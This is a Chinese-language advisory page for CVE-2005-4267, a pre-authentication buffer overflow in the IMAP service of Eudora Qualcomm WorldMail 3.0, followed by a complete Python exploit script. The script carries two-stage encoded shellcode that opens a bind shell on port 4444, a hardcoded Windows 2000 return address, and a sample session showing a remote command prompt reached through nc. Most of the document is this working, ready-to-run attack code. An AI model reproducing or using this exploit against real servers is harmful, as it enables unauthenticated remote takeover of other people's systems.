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名    称：Eudora Qualcomm WorldMail "LIST" Command Remote Buffer Overflow Exploit
漏洞资料：http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-4267
危险程度：严重
影响范围：Eudora Qualcomm WorldMail v3.0 以及之前版本
解决办法：目前尚未见补丁
相关介绍：Eudora Qualcomm WorldMail 是运行在WINDOWS下的邮件服务器软件

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#!/usr/bin/python ########################################################### # # PRE AUTHENTICATION Eudora Qualcomm WorldMail 3.0 IMAPd Service 6.1.19.0 Overflow. # # Discovered by Tim Shelton - security-advisories@acs-inc.com # # Coded by mati@see-security.com # # Details: # * SEH gets overwritten at 970 bytes in the LIST command. # * No space for shellcode, so 1st stage shellcode is used to # jump back 768 bytes into the bindshell (2nd stage) shellcode. # # Thanks: # * My wife - for putting up with my obesssions # FOR EDUCATION PURPOSES ONLY! ########################################################### # root@muts:/tmp# ./test.py 192.168.1.162 # # Eudora Qualcomm WorldMail 3.0 IMAPd Service 6.1.19.0 Overflow. # # Discovered by Tim Shelton - security-advisories@acs-inc.com # Coded by mati@see-security.com # # [+] Connecting # [+] * OK WorldMail IMAP4 Server 6.1.19.0 ready # [+] Look Maa - No authentication! # [+] Sending evil buffer... # [+] Done # # [+] Connect to port 4444 on victim IP - Muhahaha! # # root@muts:/tmp# nc -vn 192.168.1.162 4444 # (UNKNOWN) [192.168.1.162] 4444 (krb524) open # Microsoft Windows 2000 [Version 5.00.2195] # (C) Copyright 1985-2000 Microsoft Corp. # # C:\WINNT\system32> ############################################################ import sys import struct import socket from time import sleep def banner(): print "\nEudora Qualcomm WorldMail 3.0 IMAPd Service 6.1.19.0Overflow.\n" print "Discovered by Tim Shelton - security-advisories@acs-inc.com" print "Coded by mati@see-security.com\n" if len(sys.argv)!=3: banner() print "Usage: eudora-imap-LIST.py <ip> <port>\n" sys.exit(0) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # Using Msf::Encoder::PexFnstenvMov with final size of 42 bytes # First Stage Shellcode sc3 ="\x6a\x05\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x2f\x77\x28" sc3 +="\x4b\x83\xeb\xfc\xe2\xf4\xf6\x99\xf1\x3f\x0b\x83\x71\xcb\xee\x7d" sc3 +="\xb8\xb5\xe2\x89\xe5\xb5\xe2\x88\xc9\x4b" # win32_bind - EXITFUNC=seh LPORT=4444 Size=709 Encoder=PexAlphaNum http://metasploit.com */ # Second Stage Shellcode sc4 ="\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49" sc4 +="\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36" sc4 +="\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34" sc4 +="\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41" sc4 +="\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4c\x56\x4b\x4e" sc4 +="\x4d\x54\x4a\x4e\x49\x4f\x4f\x4f\x4f\x4f\x4f\x4f\x42\x56\x4b\x38" sc4 +="\x4e\x36\x46\x32\x46\x52\x4b\x58\x45\x54\x4e\x53\x4b\x38\x4e\x37" sc4 +="\x45\x50\x4a\x47\x41\x30\x4f\x4e\x4b\x38\x4f\x34\x4a\x31\x4b\x48" sc4 +="\x4f\x35\x42\x52\x41\x30\x4b\x4e\x49\x54\x4b\x48\x46\x33\x4b\x58" sc4 +="\x41\x50\x50\x4e\x41\x43\x42\x4c\x49\x59\x4e\x4a\x46\x38\x42\x4c" sc4 +="\x46\x57\x47\x30\x41\x4c\x4c\x4c\x4d\x50\x41\x30\x44\x4c\x4b\x4e" sc4 +="\x46\x4f\x4b\x33\x46\x35\x46\x52\x4a\x32\x45\x37\x45\x4e\x4b\x48" sc4 +="\x4f\x35\x46\x32\x41\x50\x4b\x4e\x48\x36\x4b\x38\x4e\x50\x4b\x34" sc4 +="\x4b\x38\x4f\x55\x4e\x41\x41\x30\x4b\x4e\x43\x30\x4e\x32\x4b\x38" sc4 +="\x49\x48\x4e\x36\x46\x32\x4e\x41\x41\x36\x43\x4c\x41\x53\x4b\x4d" sc4 +="\x46\x56\x4b\x58\x43\x54\x42\x53\x4b\x48\x42\x34\x4e\x50\x4b\x58" sc4 +="\x42\x37\x4e\x41\x4d\x4a\x4b\x58\x42\x44\x4a\x30\x50\x55\x4a\x46" sc4 +="\x50\x38\x50\x44\x50\x50\x4e\x4e\x42\x35\x4f\x4f\x48\x4d\x48\x56" sc4 +="\x43\x55\x48\x56\x4a\x46\x43\x53\x44\x53\x4a\x56\x47\x37\x43\x57" sc4 +="\x44\x43\x4f\x45\x46\x45\x4f\x4f\x42\x4d\x4a\x56\x4b\x4c\x4d\x4e" sc4 +="\x4e\x4f\x4b\x43\x42\x35\x4f\x4f\x48\x4d\x4f\x45\x49\x38\x45\x4e" sc4 +="\x48\x36\x41\x38\x4d\x4e\x4a\x30\x44\x50\x45\x55\x4c\x36\x44\x30" sc4 +="\x4f\x4f\x42\x4d\x4a\x56\x49\x4d\x49\x30\x45\x4f\x4d\x4a\x47\x55" sc4 +="\x4f\x4f\x48\x4d\x43\x55\x43\x45\x43\x45\x43\x45\x43\x45\x43\x44" sc4 +="\x43\x45\x43\x44\x43\x55\x4f\x4f\x42\x4d\x48\x36\x4a\x56\x41\x31" sc4 +="\x4e\x55\x48\x46\x43\x45\x49\x48\x41\x4e\x45\x49\x4a\x46\x46\x4a" sc4 +="\x4c\x51\x42\x57\x47\x4c\x47\x35\x4f\x4f\x48\x4d\x4c\x36\x42\x31" sc4 +="\x41\x35\x45\x45\x4f\x4f\x42\x4d\x4a\x36\x46\x4a\x4d\x4a\x50\x42" sc4 +="\x49\x4e\x47\x45\x4f\x4f\x48\x4d\x43\x45\x45\x35\x4f\x4f\x42\x4d" sc4 +="\x4a\x36\x45\x4e\x49\x54\x48\x48\x49\x54\x47\x55\x4f\x4f\x48\x4d" sc4 +="\x42\x35\x46\x45\x46\x55\x45\x45\x4f\x4f\x42\x4d\x43\x49\x4a\x46" sc4 +="\x47\x4e\x49\x37\x48\x4c\x49\x37\x47\x35\x4f\x4f\x48\x4d\x45\x55" sc4 +="\x4f\x4f\x42\x4d\x48\x36\x4c\x56\x46\x36\x48\x46\x4a\x36\x43\x56" sc4 +="\x4d\x56\x49\x58\x45\x4e\x4c\x56\x42\x45\x49\x35\x49\x32\x4e\x4c" sc4 +="\x49\x38\x47\x4e\x4c\x36\x46\x54\x49\x38\x44\x4e\x41\x33\x42\x4c" sc4 +="\x43\x4f\x4c\x4a\x50\x4f\x44\x44\x4d\x52\x50\x4f\x44\x34\x4e\x32" sc4 +="\x43\x59\x4d\x58\x4c\x57\x4a\x53\x4b\x4a\x4b\x4a\x4b\x4a\x4a\x36" sc4 +="\x44\x57\x50\x4f\x43\x4b\x48\x51\x4f\x4f\x45\x57\x46\x44\x4f\x4f" sc4 +="\x48\x4d\x4b\x55\x47\x55\x44\x55\x41\x55\x41\x45\x41\x35\x4c\x46" sc4 +="\x41\x30\x41\x35\x41\x45\x45\x55\x41\x55\x4f\x4f\x42\x4d\x4a\x56" sc4 +="\x4d\x4a\x49\x4d\x45\x30\x50\x4c\x43\x45\x4f\x4f\x48\x4d\x4c\x36" sc4 +="\x4f\x4f\x4f\x4f\x47\x33\x4f\x4f\x42\x4d\x4b\x38\x47\x55\x4e\x4f" sc4 +="\x43\x58\x46\x4c\x46\x36\x4f\x4f\x48\x4d\x44\x45\x4f\x4f\x42\x4d" sc4 +="\x4a\x46\x42\x4f\x4c\x58\x46\x30\x4f\x35\x43\x35\x4f\x4f\x48\x4d" sc4 +="\x4f\x4f\x42\x4d\x5a" # Win2k SP4 JMP EBX - 0x77E1CCF7 buffer = '\x90'*61 + sc4+ "\xeb\x06\x06\xeb" + '\xf7\xcc\xe1\x77' + '\x90'*8 + sc3 + '}'*400 banner() try: s.connect((sys.argv[1],int(sys.argv[2]))) except: print "Can\'t connect to server!\n" sys.exit(0) print "[+] Connecting" data=s.recv(1024) print "[+] "+data.rstrip() print "[+] Look Maa - No authentication!" print "[+] Sending evil buffer..." s.send('a001 LIST '+buffer+'\r\n') s.close() print "[+] Done\n" print "[+] Connect to port 4444 on victim IP - Muhahaha!\n"